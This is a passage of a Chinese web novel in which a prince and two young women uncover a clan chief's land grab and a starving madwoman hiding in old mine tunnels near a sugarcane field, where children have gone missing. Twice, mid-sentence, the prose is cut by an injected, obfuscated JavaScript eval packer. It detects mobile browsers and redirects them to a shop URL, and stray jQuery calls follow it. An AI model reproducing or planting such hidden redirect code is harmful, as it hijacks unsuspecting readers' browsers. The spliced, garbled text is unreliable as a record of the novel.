“郭姑娘！”萧征反应极快，一个箭步上前，险险抓住她的手腕。巨大的下坠力让他也踉跄一步，单膝跪倒在塌陷的洞口边缘。 “我没事，我没事。”郭娑深吸两口气稳住心神，并不急着上去，松开萧征的手：“这洞不深，劳烦殿下把火折子递给我。” 手腕怕是刚才拉伤了，很有些不适，郭娑转了转手腕，随便揉了揉，接过萧征递下来的火折子，猛地吹亮。 微弱的火苗跳动起来，勉强驱散了洞底一小片黑暗。郭娑壮起胆子，环顾四周，她的背后，还有一个狭窄的横向洞口，好像有什么隐藏在那黑暗中的怪物在凝视着她。 郭娑打了个寒战，下意识往回退，脚底下踩到一个硬东西，险些把她绊倒。她伏低身子，把火折子移到脚边。就在那光影明灭之间，她看清了脚下的东西。泥土中，竟半埋着一个白森森的头骨。那空洞的眼窝，正无声地凝视着她。 郭娑倒吸一口凉气，等在上面的萧征马上急声询问：“郭姑娘，你看到什么了？” “我看到——”郭娑边尝试用手指把那头骨从地里抠出来，边时刻注意着对面洞口里的动静。 “让丢了孩子的人家辨一辨，这是不是他们的孩子吧。”郭娑总算把那颗小小的头骨从地里抠挖出来，站起身往上面递去——几乎在同一时刻，一道黑影伴随着一声浑浊嘶哑，不似人声的嚎叫，猛地朝她扑来。一股浓郁的土腥气混着腐烂的味道顷刻填满她的鼻腔。火折子掉在地上熄灭了，借着惨白的月光，逼至面前的那个似人非人的怪物，简直是从坟地里爬出的一架枯骨。 “啊——！！” 极致的恐惧简直冲垮了她的理智，虽吓得几乎昏厥，还是拼尽全力飞起一脚，正踢在那东西肚子上。 千钧一发之际，上头忽然有人紧紧抓住她的手。萧征臂上肌肉绷紧，用尽全力猛地向上一提，郭娑被他硬生生从洞口拽了出来，两人一同向后跌倒。那洞中的黑影发出一声怪叫，旋即万籁俱寂，只留下那令人头皮发麻的余音在洞中回荡。 “愣着干什么，追啊！”萧征迅捷地一跃而起，呵斥那些傻站在原地的青年。 没有一人肯跳下去看个究竟，都畏畏缩缩，互相推诿，萧征无奈地沉吟一声，正要自己跳进洞口，忽然意识到郭娑还紧紧扯着他的手。 郭娑瘫软在泥地上，浑身抖得像秋风中的落叶，面色死白，嘴唇不受控制地哆嗦着，双眼空洞，显然惊吓到了极致。她冰凉的手死死攥着萧征的手不愿松开。这是救命的稻草，是维系她与现实的唯一纽带。 “郭姑娘，吓坏了吧？”萧征半跪在地上，面向着她柔声安慰。 郭娑抖簌簌地抬头，望向他的脸。 过速的心跳撞击着耳膜，手腕可能脱臼了，弯成诡异的弧度，可她几乎感觉不到痛。她握住的是他的手，他是才救了她一命的男人。 他的目光只与她对视了一瞬，即刻偏过了头。 可她抓住了这一瞬。就在这一瞬，她想她爱上了这个男人。 “郭姑娘，起来吧，我们回去。”他轻轻地把她扶起，吩咐一起来的人把那洞口盖起来用重物压实。 “往前走，别怕，我在你身后。”他捡起洞口边缘的头骨，怕她看见又想起刚才的事，就装在袋里绑在自己腰后。 此时若追问她细节，怕也是什么也问不出。萧征见她失魂落魄的样子，轻叹一口气，又回头望了一眼那个被压在芦席下的神秘可怖的地洞。 “回来了回来了！”远远地望见他们一行人，袁鸣和苏萦忙跑出来迎接，还离着有一段距离，袁鸣就扬声道：“大人，好消息，这一宿没丢孩子！” “孩子没丢就好，差点丢大人了。”萧征疲惫地接口，随手把腰间的布袋塞给袁鸣：“郭姑娘差点被那怪物拖进洞里去了。” “啊？什么洞，什么怪物？”袁鸣茫然地解开布袋往里望，看清了里面东西，直接把袋子扔出老远：“啊！怎么有骷髅！” “郭姐姐？”苏萦看郭娑失魂落魄地托着手腕，忙凑上前来关心查看：“郭姐姐受伤了吗？” 郭娑疲惫地抬眼，看向提着灯笼、面带关切站在门前的苏萦。那温暖的灯光映在苏萦脸上，照亮她真诚坦率的担忧。一股难以言喻的酸涩与妒火，混杂着方才的惊惧，猛地窜上郭娑心头，烧得她喉头发紧。 苏萦只当她惊吓过度，连忙上前扶住她微微发抖的手臂：“郭姐姐，快进来，吓坏了吧？手腕怎么了？让我看看。” 她见郭娑面色惨白，肢体冰冷，转身取了条厚斗篷仔细将她裹住。 “我不冷。”郭娑低声回绝。 “吓到的时候最该注意保暖，披上吧。”苏萦体贴地哄劝。 “郭姐姐，我知道一个治惊吓的土方，你愿意试试吗？”苏萦有些不好意思地苦笑着，吞吞吐吐地说：“说人要是吓丢了魂，就找个旱厕，猛吸几口粪便的气味，一下子就能定惊安神。我是这么听说的啊，可是我自己也没试过…” “试试吧。”郭娑果断地起身。她此刻哪还有心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807104|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计较这些，只木然地由苏萦引她到屋后旱厕旁站了片刻。刺鼻的气味冲入鼻腔，倒真让她混乱的脑子一下子清醒了几分，那濒死的恐惧感也渐渐退却了。但心底那点冰冷的芥蒂却并未散去。 苏萦医术毕竟粗浅，不会接骨，只能先寻来木板布条，小心翼翼地为她固定好明显肿胀变形的手腕。 “得赶紧找个会正骨的郎中把手腕回位才行，”她蹙着眉，动作尽可能轻柔：“是…是刚才那地下的怪物伤的吗？” 郭娑垂着眼，心中忽然掠过一丝近乎恶意的快感，低声答道：“是…是殿下拉我上来时，不慎拉伤的。” 她的男人竟然也会拉别的女人的手，她等着看苏萦的表情。 岂料苏萦听了只是“啊”了一声，随即撇了撇嘴，小声嘟囔道：“有还哥哥也太不怜香惜玉了吧？救人固然要紧，可是拉这一下子，少说得个把月才能好的差不多！真是没轻没重的，回头我说说他。” 语气中是纯粹的打抱不平，并无郭娑期待的任何暧昧联想。郭娑一时语塞，那点微妙的快感也消失无踪，只剩下一片空茫的疲惫。 次日，镇民们依旧提心吊胆地守在巡检家里集中看管孩子们。萧征与袁鸣准备再探甘蔗地，苏萦昨日已问完了话，好奇地要跟着。郭娑虽然手腕疼痛，精神也未完全恢复，但眼见苏萦要去，那股不肯落于人后，更不愿让苏萦与萧征单独相处的执拗便涌了上来，也坚持同往。 白天的甘蔗林少了夜晚的鬼气森森，却更显荒芜破败。阳光透过干枯的蔗叶洒下，照亮了土地的颜色。郭娑忍着手腕不适，仔细观察着地面和周围环境，结合昨夜所见，以及自己往日积累的北漠地理矿藏知识，忽然开口道：“这土色深红，与我曾在古籍中读到的‘赭土’相似，常伴生于小型铜矿脉附近。昨夜那地洞岩壁，隐约也有开凿痕迹…此地地下，恐怕并非天然空洞，而是废弃的矿坑甬道。因矿脉枯竭或事故被遗弃，年深日久，地表塌陷，才形成了这些隐秘的洞口。” 苏萦正蹲在地上捏起一撮红土察看，闻言眼睛一亮，抬头由衷赞道：“郭姐姐，你懂得真多！难怪你姑母那样称赞你！这么一说，很多事情就解释得通了！” 她的称赞干净坦荡，让郭娑心中那点因展示学识而升起的微末得意，又莫名染上了一丝复杂。袁鸣也恍然大悟地直点头，郭娑的眼光期待地扫向萧征，却见他连头都没回，只是朝前走去。 再次来到昨夜那个被芦席和重物暂时压住的洞口，袁鸣和萧征费力地将掩盖物移开。日光直射下去，洞口下的情形比昨夜火光所及清晰了些，但底下的黑暗中依然仿佛藏着无尽秘密。 苏萦胆子大，凑到坑边，小心翼翼地探身朝下张望，想看得更仔细些。就在她全神贯注的刹那，站在她侧后方的郭娑，看着苏萦毫无防备的背影，一个冰冷而尖锐的念头突然毫无征兆地刺入脑海—— 如果…如果她现在脚下一滑… 35.疯妇 这念头让她自己都悚然一惊，后背瞬间沁出冷汗，她猛地闭了闭眼，用力掐了自己受伤的手腕一下，剧烈的疼痛让她瞬间清醒，慌忙将那恶意的幻想死死压入心底最暗处，不敢再想。 此时，萧征与袁鸣已准备下洞。两人腰间系上长绳，手握利刃，举着火把，先后沿着洞壁攀爬而下，身影很快没入黑暗之中。 昨日郭娑看得不错，地洞下并非直上直下一口井，而是有曲折的横向通道。两人谨慎前行，火把照亮了潮湿的土壁和偶尔可见的朽烂木架，也证实了郭娑关于废弃矿坑的推测。通道狭窄，仅容一人弯腰通过，空气中弥漫着浓郁的泥土腥气和腐烂的臭气。 忽然，前方黑暗中传来窸窸窣窣的响动，伴随着熟悉的，浑浊不清的低嚎。 “小心！”萧征低喝，将火把前伸。 只见一道黑影猛地从旁侧一个更小的岔洞里扑出，直朝袁鸣而来。火光摇曳间，映出一张污秽不堪，瘦得脱相，白发蓬乱如草的脸，以及一双在昏暗中闪烁着疯狂与警惕光芒的眼睛。正是昨夜那“怪物”——一个状若疯癫的老妇人！她手中竟挥舞着一截削尖的硬木，速度不快，但架势狠厉，充满了绝望的蛮劲。 袁鸣侧身避过尖木，反手用刀背格挡，怕伤及人命未敢用刃。老妇一击不中，发出愤怒的嘶叫，不管不顾地再次扑上，乱抓乱打。萧征趁机从另一侧靠近，试图擒拿其手臂。洞内狭窄，施展不开，老妇又如同困兽般拼命，一时竟有些纠缠。 混乱中，老妇猛地低头，不管不顾地朝萧征持火把的手咬去。萧征迅速缩手，火把险些脱手，光线剧烈晃动。趁此间隙，那老妇似乎极其熟悉这地下迷宫，猛地一矮身，像泥鳅般钻进了另一个黑黢黢的狭窄缝隙，手脚并用地飞快爬走，瞬间消失在黑暗中。 “追！她往上去了！”萧征根据声音和方向判断，与袁鸣急忙循着大概方向，找到一处有新鲜爬蹭痕迹的陡坡，奋力向上攀爬。这似乎是一条通往另一处塌陷出口的近路。 地面上，郭娑正紧张地盯着洞口，忽然听见不远处另一片茂密的甘蔗丛下传来异响。紧接着，泥土松动，一个身影猛地从地下钻出上半身，正是那疯癫的老妇！她满脸泥污，眼神疯狂，乍见阳光和坑边的人，发出一声怪叫，便要完全爬出。 郭娑本就惊魂未定，手腕又疼，见此情形，吓得惊呼一声，连连后退，脚下发软，一时竟僵在原地动弹不得。 苏萦也叫这骇人的老女人吓得心脏狂跳，但眼见那老妇爬出地洞，目光扫过她和郭娑，马上便要扑来的样子，她却不知哪里涌上一股勇气，眼光四下一扫，瞥见地上一根被砍倒的甘蔗，想也不想便冲过去捡起紧握在手中，自己挡在郭娑与那老妇人之间，大喝一声：“不许过来！” 她胡乱挥舞着那根长长的甘蔗，毫无章法，纯粹是虚张声势。老妇人却似乎真被这突如其来的“武器”和叫喊吓得动作停了停。 就在这电光石火之际，旁边地面泥土轰然破开，萧征与袁鸣先后从另一处出口跃出。 “在那里！”袁鸣大喝一声。 老妇见状，知道已无处可逃，发出一声绝望的尖啸，竟转身朝着手持甘蔗、因紧张而微微发抖的苏萦猛地冲来。苏萦吓得两眼一闭，手中甘蔗胡乱往前一捅—— 预期中的撞击并未到来。只听一声闷响和老人沙哑的痛呼，萧征已如猎豹般扑至，一手格开老妇人撞来的势头，另一手迅捷地反扣住她枯瘦的手臂，顺势一拧，将她制住。袁鸣也立即上前，帮忙牢牢按住挣扎不休的老妇。 苏萦惊魂未定地睁开眼，手中的甘蔗还傻傻地举着。郭娑脸色苍白地靠在一棵甘蔗秆上，看看被制服后仍兀自嘶吼，眼神浑浊疯狂的老人，又看看挡在她身前，明明怕得要死却未有半点退缩的苏萦，心情复杂难言。 萧征制住老妇人，目光迅速扫过苏萦和郭娑，见二人虽受惊吓但均无大碍，心下稍安，这才仔细看向手中不断挣扎、嘶哑咒骂的“怪物”——那分明是一个被岁月，苦难和疯狂折磨得面目全非的可怜老妪。 他沉声对袁鸣吩咐：“先带回去，小心看管，别伤了她。立刻通知巡检和里正，召集镇民，尤其是丢失孩童的人家。” 萧征与袁鸣押着那疯癫老妇返回镇上，又召集了几名镇上青年，带着工具重返那片甘蔗地，仔细翻查。果然，在几处松软的泥土下，又陆陆续续挖出数具细小残缺的孩童骸骨，便用麻袋一并收敛了带回。 里正早已依照吩咐，将数年来丢了孩子的人家都召集到了镇中祠堂。消息不胫而走，祠堂外也围满了闻讯而来，既惊惧又好奇的镇民。萧征等人回来，将几个沉甸甸的麻袋当堂打开，倒出里面零散的白骨，祠堂内霎时哭声震天。失了孩子的母亲们见状，悲恸欲绝，当场晕厥过去的便有数人；男人们亦是双目赤红，强忍泪水，额角青筋暴起，死死攥着拳头，沉浸在巨大的悲愤与哀伤中。 那神志不清的老妇被押了上来，她步履蹒跚，口中仍旧含混不清地嘟囔着诅咒般的词句。萧征目光扫过祠堂内神情各异的面孔，沉声问道：“诸位乡邻，可有人认得她？” 为首的宋家族长夫妇脸色骤然一变。那妻子惶恐地偷眼看向自己的丈夫，宋族长却狠狠瞪了她一眼，目光中满是警告，不许她出声。其余镇民或因恐惧，或因老妇容貌已被岁月与苦难侵蚀得面目全非，一时皆不敢细认，只低声议论，纷纷摇头。 祠堂门口挤着看热闹的人群里，一个向来嘴快没遮拦的男人，伸长脖子瞅了半天，忽然没头没脑地嚷道：“啊呀，宋族长，这不是你家大嫂么？” “休得胡言！”宋族长像是被踩了尾巴，猛地粗声喝断，眼神却不由自主地躲闪：“我大嫂…我大嫂早死了！” “哦？你家嫂子什么时候死的，怎么死的？”端坐于堂前主位，一身官服的“户部苏大人”忽然开口，声音清冷，目光如炬，牢牢锁在宋族长脸上。 “上吊死的呗！”那嘴快的男人抢着接话 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那老妇自被带入这祠堂，便像换了个人，先前在地里的那股疯癫狂躁尽数收敛，取而代之的是一种深入骨髓的畏缩与恐惧。她拼命佝偻着身子，恨不得将自己缩进角落，脑袋低垂，几乎要埋进胸口，对苏萦的问话，只是胡乱地摇头，喉咙里发出含糊的呜咽。 堂上短暂沉寂。萧征与苏萦交换了一个眼神，彼此心中了然。萧征微微颔首，示意苏萦按计划行事。 苏萦会意，正了正衣冠，重新端坐，面容一肃，朗声对一旁的宋巡检道：“宋巡检，依本官看，此案疑点重重，已非乡里纠纷。涉及数条孩童人命，乃惊天重案！在此草草询问，如同儿戏，如何能给死去孩童的家人，给全镇百姓一个明白交代？” 她话音一顿，目光扫过面色惨白的宋族长，斩钉截铁道：“依律，应将重大嫌疑人宋丘先行收监，连同相关证物证人，一并押送曹州县衙，由县尊升堂，详加审讯，查明真相！” 宋巡检闻言，脸色大变，急忙上前拱手，急声求情：“苏大人！这…这从何说起啊？那些孩子的骸骨是从那疯婆子藏身之地挖出，明摆着就是她害的！怎，怎的突然要抓宋族长？他可是一族之长，素有名望……” “本官说抓谁，便抓谁。案情未明，岂容你在此妄断？”苏萦面色一寒，官威十足：“如何审断，是县衙之事。你若再行阻挠，便是妨碍公务，袒护嫌犯！上面怪罪下来，你宋巡检有几个脑袋担当？” 宋巡检被这顶大帽子一扣，吓得冷汗涔涔，再不敢多言，只得硬着头皮挥手，示意手下衙役上前拿人。 “当家的！当家的！”宋丘之妻眼见丈夫被两名衙役扭住胳膊，顿时慌了神，扑上去死死拉扯，尖声哭叫起来。 苏萦被那刺耳的哭声吵得微微蹙眉，抬手轻轻掏了掏耳朵，随即唇角掠过一丝极淡的，近乎冷峭的笑意，缓声道：“不必着急，你也走不了。” 她手中折扇轻点，先指向六神无主的宋丘之妻，复又指向祠堂门口那个多嘴的男人：“你，还有你。方才不是记得很清楚吗？都留下，本官有话要问。” 36.寡嫂 “唉，他家那嫂子，命是真苦啊！”那被留下的快嘴男人胆子大，见官爷直盯着自己，也不过是像坐在村口老槐树下讲故事似的，咽了口唾沫，便滔滔不绝地开始说：“她男人宋河，还有儿子，爷俩一块儿被征去打仗了。这一走，就是三四年，音信全无，活不见人，死不见尸的！” “宋河大哥原先才是宋家的族长，为人那叫一个公道硬气，大家都服他。大嫂也是个能耐人，识文断字，下地干活更是一把好手，不比男人差。儿子也教得好，又孝顺又能干。那时候，谁不羡慕他们家？” “可谁能想到，朝廷征兵了。宋河大哥是族长，肯定得带头啊！就领着儿子一起上了前线。这一去…可就再也没回来。” “后来族里人合计，宋家这么大一族，不能没个领头羊啊，就重新推举了一个。喏，就是现在的宋丘族长。宋丘族长吧…也挺能干的。他当上族长后，就对他嫂子说：嫂子，你年纪也大了，又没了依靠，以后就别下地受那份累了。你一个寡妇能吃喝多少？族里养着你！” 苏萦听到这里，敏锐地抓住了关键，打断问道：“那宋河留下的地呢？现在闹鬼的那片荒地，以前是宋河家的地吗？” “是啊！就是他家的地，还是最好的一片！”男人立刻点头，语气里不无惋惜：“地都由宋丘族长家接手种了。收了甘蔗，卖了钱，再分些给他嫂子。哎呀，那地可多了！自家种不完，好些都佃出去了。现在荒了的这块，以前是我们镇上有名的肥地！白白荒了三年，真是作孽啊！这要是好好种上三年甘蔗，那得是多少白花花的银子！” “躺着就能分钱，这么好的事——”苏萦的目光缓缓移向一旁脸色越来越白的宋丘媳妇，声音不高，像漫不经心地随口一问：“她怎么就想不开，突然要寻死呢？” “那…那肯定是觉得拖累了族里，心里过意不去呗！”男人一拍大腿，有点黯然：“宋家嫂子那人，向来要强，从不轻易开口求人。这丈夫儿子都没了，自己成了吃闲饭的…” “让她说。”苏萦抬手，制止了男人的臆测，指尖稳稳指向浑身开始轻微发抖的宋丘媳妇：“你是她妯娌，朝夕相处，一个外人知道的，还能比你更清楚？” 宋丘媳妇的眼神像受惊的老鼠般慌乱躲闪，不敢与苏萦对视，嘴唇哆嗦着，声音细若蚊蚋：“就，就是那么回事…我，我也说不出什么花来…” “说不出什么来？”苏萦冷笑一声，一挥手让那男人先退下，然后弯下腰，从桌案下方拎出昨晚萧征从地里拿回来的小布口袋。她没有任何预兆地，将口袋往桌面上狠狠一抖。 “砰”的一声闷响，一个白森森的，沾着些许干涸泥土的细小头骨，在桌面上滚动了几下，停住。那空洞的眼窝，恰好“望”向堂下。 “那你就对着它说！”苏萦把案桌一拍，陡然站起，字字如冰：“对着你儿子说！看他变成现在这副模样，你还‘说不出什么来’吗？！” “啊——！我的儿！我的宝儿！！” 宋丘媳妇的双眼在接触到那头骨的刹那，骤然瞪大到极致，瞳孔紧缩，所有的血色瞬间从脸上褪去。她发出一声凄厉到极点的惨嚎，整个人像是被抽掉了骨头，烂泥般瘫软下去，又猛地向前扑爬，伸出颤抖的手想要去够那个头骨，却在触碰的一瞬间被苏萦一把抢过去高高地拿远。 两个衙役忙把这女人摁在地上，怕她伤了京城来的大官。 “想要啊？”苏萦的眼珠顽皮地一转：“那可得说点我想听的了。” 躲在堂后偷看的宝冉望着苏萦握着头骨高高举起的手，打了个寒战。那只手又小又稚嫩，却稳稳地抓着那灰败的没有生命的物件，就像苏萦整个人一样，散发着天真的残忍。 她想悄无声息地退回去，一下子撞着身边不知来了多久的萧征。 “永宁王。”宝冉诚惶诚恐。 “先去吧。”萧征稍稍偏头示意。宝冉忙从狭窄的过道里挤了过去。回头望一眼，萧征默默站在黑暗中望着堂前，脸上的神情似乎是……欣赏？ 郭娑不是和她说过，永宁王是个道德上毫无瑕疵的人吗？ 她满腹惊异地退了下去。 “还不说？”苏萦把头骨递到女人面前转了转：“三年了，骨头都风化了。我要是往地上这么一摔——” “不…不！我的宝儿…是我的宝儿啊！”女人涕泪横流，声音破碎不堪，最后一丝侥幸和防线彻底崩溃：“我说！我什么都说！是宋丘！是宋丘那个黑了心肝的畜生！” 她几乎喘不上气，在剧烈的抽泣中断续道：“他占了大哥家的地，嫂子去要钱粮，他先是骂，后来干脆把嫂子的房门钉死，说她克死了丈夫儿子，晦气冲天，不配住宋家的房子！嫂子被赶出来，没地方去，只能躲到甘蔗地的废矿坑里去…” “宋丘他，他还不肯罢休…他怕嫂子把事情闹大，坏了他族长的名声和到手的地，竟然对外说我那苦命的嫂子‘自觉拖累族人，羞愧自尽了’！还假惺惺办了丧事！嫂子在坑里躲着，亲耳听着外面给自己吹丧乐…” 宋丘媳妇的眼神充满了恐惧和悔恨，仿佛又看到了当时的场景：“等人都散了，嫂子才爬出来…她看到那坟头，就什么都明白了。她最后一点指望都没了，宋丘要她活生生烂在地里，连个名分都不给她留！” “她…她就疯了，真的疯了！那天，宋丘带着我家宝儿从地头过，耀武扬威地指着地说这将来都是他的…嫂子一定就在那黑窟窿里看着…晚上，宝儿贪玩跑到地里…就再也，再也没回来！” “第二天，就只找到宝儿的虎头鞋扔在地头。宋丘他…他看到鞋就全明白了！他脸白得跟鬼一样，可他什么都不敢说！我要去报官，我想要我的儿子，可他掐着我的脖子警告我，要是敢漏出一个字，我的下场，就跟大嫂一样……他说嫂子已经成了地下的恶鬼，是来索命的，说出去，他族长位子就没了，我们家就全完了，别的族人也会遭殃……我们只能帮着圆谎，说是有厉鬼作祟，谁动地就抓谁的孩子……” “可后来…后来怎么别的孩子真的就——”她痛苦地抱住头：“嫂子她…她杀红了眼了？她饿疯了？我不知道，我什么都不知道了！我的宝儿，娘对不起你！娘胆小，娘怕死啊！” 她瘫倒在地，哭得几乎晕厥。供词虽凌乱，字字句句，横七竖八，都写着“吃人”。祠堂内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812921|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外，一片骇然的死寂。 成了。苏萦偷偷地松了口气。她的手指都僵了。今天问完，晚上一定要做噩梦。 不能哭不能哭。她偷偷深吸一口气，仰头控一控眼里的泪。不能哭不能哭… “把此女子暂时收监，和宋丘分别关押。”萧征的声音及时地在身边响起。 “怕了？”萧征的声音低沉柔和，听了就让她觉得安心：“还行吗苏大人？” “…不太行。”苏萦胡乱地晃脑袋。 “那余下的事，就都交给下官吧。”萧征在她背上鼓励地拍了拍。 “有还哥哥，”苏萦临走，吸了吸鼻子，眼里还闪着泪光：“我怕，我怕那颗头不是她家宝儿的。” “是。”萧征朝她点点头，坚定地望进她眼里：“只要她相信，就一定是。” 萧征目送苏萦强撑的背影消失在祠堂转角，才缓缓收回目光，眼底那片刻意维持的柔和渐渐沉淀下来，转为深潭般的沉静。 那哭的背过气去的妇人已被差役拖往临时充作牢房的柴房，那颗头骨像救命稻草一般被她紧紧抱在怀中。 嘶哑的哭声断断续续，渐行渐远，像锈钝的刀子，一下接一下割着祠堂里凝滞的空气。里正和几个族老本在厢房旁听，此时都犹犹豫豫，三三两两地走了出来，都面无人色，一个个默契地缩在角落，恨不得将自己嵌进墙砖里。 “步大人，”老里正哆嗦着上前，“此事…此事骇人听闻，全由宋丘一家丧尽天良而起，小老儿等实在不知内情，万望大人明察啊！” 萧征没看他，只对身边的袁鸣说道：“即刻去宋丘家中搜查。重点不在卧房箱笼，去书房，账房，所有带字纸片，尤其是地契，账簿，一概取来。再去问问这镇上的佃户租户，这些年，他们交上来的田产地租，最终流进了谁的口袋。” 他声音不高，却字字清晰，砸在青石地上似有金石之音。里正腿一软，差点跪下。宋丘与宋巡检勾结，侵吞田产，放印子钱，在镇上早不是秘密，只是无人敢捅破。如今这位“步大人”直奔要害，分明是要连根刨了。 “在座的各位，不是都自诩问心无愧吗？”萧征讽刺地冷哼一声：“那就烦请各位配合，即刻随本官围了宋丘居所，一只苍蝇也不许放出来。” 等待的时辰格外漫长。祠堂里只闻火盆中炭火毕剥，无人敢大声呼吸。 前去搜查的一行人很快回来，收获颇丰，满满一摞账册与契书被掷在地上。萧征就着火光翻看，指尖划过那些墨迹，田亩位置、租子数目、收取日期，一笔笔，最终汇向的经手人名号，从模糊的代号，到后来几乎不加掩饰的“宋丘”，乃至几笔大宗，竟有县衙户房小吏的暗记。时间最早追溯到七八年前，正是宋河父子从军离家的时候。 账册之下，还压着几封书信，是宋丘与县衙某位师爷的往来，言辞隐晦，但“孝敬”，“打点”，“行个方便”之意昭然若揭。其中一封，赫然写着： “巡检大人那边，已打点妥当，荒年人命如草，无人深究”。 萧征合上账册，发出轻微一声响。里正与族老们头垂得更低。 人证物证俱备。 37.“交出那个姓苏的！” 萧征与宋巡检议定，次日一同押解人犯去往曹州府衙。 他带着账册先行返回住地，才到自己房内把账册安放妥当，就听房门吱呀一声，苏萦蹑手蹑脚地走了进来。 “有还哥哥，”苏萦想是才好好哭过一场释放了情绪，眼睛都还红着：“宋家大嫂…按律，会判死刑吗？” 萧征看她一眼，知道她心里那点不忍又冒了头。他微微颔首，声音压得极低：“故杀子孙，徒二年。然此案中，她受胁迫、饥馁至狂，或可酌情。但宋丘——侵夺田产、贿赂官吏、纵容乃至胁迫亲属杀人食人，数罪并罚，斩、绞亦不为过。” “真的？那可大快人心了。”苏萦破涕为笑。 “还不全仰仗明察秋毫的苏大人。” “可是…”电光火石之间，苏萦突然想到了不对劲之处：“有还哥哥，我们是假官啊！”她一下子发急，上前扯住了萧征的袖子：“现下人证物证虽齐，可真要把案卷、人犯往曹州县衙一送，我们这‘两位大人’不就露馅了吗？我看那宋巡检和宋丘本就沆瀣一气，到时候，岂会容我们捅破这天？” “对啊，”萧征竟顺着她的话，理所当然道：“所以事不宜迟， 我们甘蔗既已到手，何苦还管民间这些烂事。快回去收拾东西，咱们连夜就走。” “走？萧征！你没良心！”苏萦简直不敢相信自己的耳朵。眼睛一下子瞪的像铜铃般大，一把甩开萧征的袖子，声音瞬间拔高了。 萧征看着她惊诧的表情，嗤嗤笑起来，笑得肩膀一耸一耸。 “你还好意思笑！”苏萦简直要七窍生烟：“这事怎么能就这么了了？宋巡检必会包庇宋丘，宋丘也绝不会放过他嫂子的！我们一走，那老妇只怕立刻就要‘病死’在狱中，这些账册证物也会被销毁干净！” 萧征捂着嘴憋住笑：“苏大人想得真周到。” “你不是不管。”苏萦这才反应过来：“你耍我！”她气哼哼地在他后背上拧了一把，小拳头照着他手臂上捶了好几下：“让你耍我，让你耍我！” 萧征咯咯笑着躲闪。两人一个笑一个闹，直到郭娑踱进来，才都清了清嗓子整肃起来。 “殿下，你想赶在宋巡检之前赶去曹州县衙？那什么时候走？”郭娑才处理好的伤臂还吊在胸前，忧心忡忡地问。 “就今晚。” “今晚？”苏萦猛地想起父亲的任务还没有完成：“那我想趁今天去镇上逛逛。好不容易来一趟，除了巡检司，宋家祠堂和闹鬼的荒地，哪儿都没去！” “不行，太惹眼了。”萧征表情严肃地一口否决：“谁不认识你是京城来的大官？多少双眼睛盯着呢，你逛也逛不畅快。” “我才不认识什么户部清吏司郎中，”苏萦无辜地一摊手：“我不过是个正好与苏大人模样有些相像的姑娘罢了。听说他们这儿胭脂出名，我特地来买胭脂的。” 萧征眼里噙着笑瞪她一眼，就算是默许了：“务必小心，不要走远，早去早回。” “好，苏大人要微服私访了！”苏萦得意地把胸脯一挺，调皮地朝萧征做个鬼脸就要往自己房间跑，边叮嘱自己的侍女：“蜜合，你是苏大人的侍女，就也在客店里等着吧，我自己一个人去，很快就回来！” 男人的衣裳穿了好几天，当真腻烦的紧。苏萦细细洗去脸上黑粉，简略地梳妆打扮一番，披上她最喜欢的挖云鹅黄片金里大红猩猩毡斗篷，趁着天色未黑，急急朝街上走去。 “芙蓉阁”胭脂铺静静地立在夕阳余晖中。此地本就是胭脂名乡，往来客商多是采办货物，大宗趸买的居多，零星添置的甚少。铺子里，一包包、一箱箱的货品整齐捆扎，堆列在货架上。唯有少数几样时兴颜色，作为式样摆在柜台显眼处。 天色向晚，伙计正要合上门板打烊，苏萦急匆匆闯进店来。 “等一下！”她跑得气息未匀，径直冲到柜台前，对掌柜急声道：“我要买胭脂！” “姑娘想瞧瞧哪一样？”掌柜倒是个好耐性的生意人，将已收起的式样盒子重新取出，揭开给苏萦看：“姑娘瞧着面生，是远道来的吧？这一排是近来新到的花式，这边几样是平日最为走俏的，姑娘不妨试试颜色。” 苏萦素来喜爱这些胭脂水粉，闻言果真用指尖蘸取少许，在手腕内侧匀开细看。不出半盏茶的工夫，竟挑出好些，自己用的、给蜜合带的、郭娑和宝冉也该捎一份留个纪念… “姑娘，”掌柜好意提醒：“小号平日多做整箱出货的营生，这零星散卖…价上要比趸买高出些许。” “银钱我有的是。”苏萦正凑在灯下比对手背上两抹嫣红的细微差别，闻言只漫不经心地一哂：“方才我点的那些，统统包起来便是。” “哎，好，好。”掌柜赔着笑，转身便去张罗包裹。 “掌柜的，”少女的声音自他身后响起，轻飘飘的，却惊得他脊背一僵：“可有‘珊瑚晚’这一色？” 掌柜缓缓回过身，脸上挤出的笑容有些发僵，背也不自觉地佝偻了几分：“从未…从未制售过这么个颜色。姑娘是听谁提起的？” “哦？”苏萦将试色的胭脂随手搁回柜台，抬眼再次看来：“可我听说，上月分明还有呢。掌柜的，您可别瞒我。” “当真…没有。”掌柜的声音干涩：“从来不曾有过。” “没有便罢了。”苏萦好似真是随口一问，浑不在意般转开话题：“这些一共多少银钱？” “…三两银子。” “当啷”两声，两块碎银落入钱匣。夜色已沉，光影昏昧，瞧不真切。伙计机灵，正要移灯近前，取戥子来称量，好用银剪铰开找零，苏萦却已拎起货包，爽利地一摆手：“不必找了！”话音未落，人已转身快步出了店门。 “多谢客官！客官慢走，常来啊——”伙计扬声热切地相送。 “掌柜的，我听着那落银的声儿沉实，这姑娘给的只怕不止三两！”伙计回头，喜滋滋地说道。 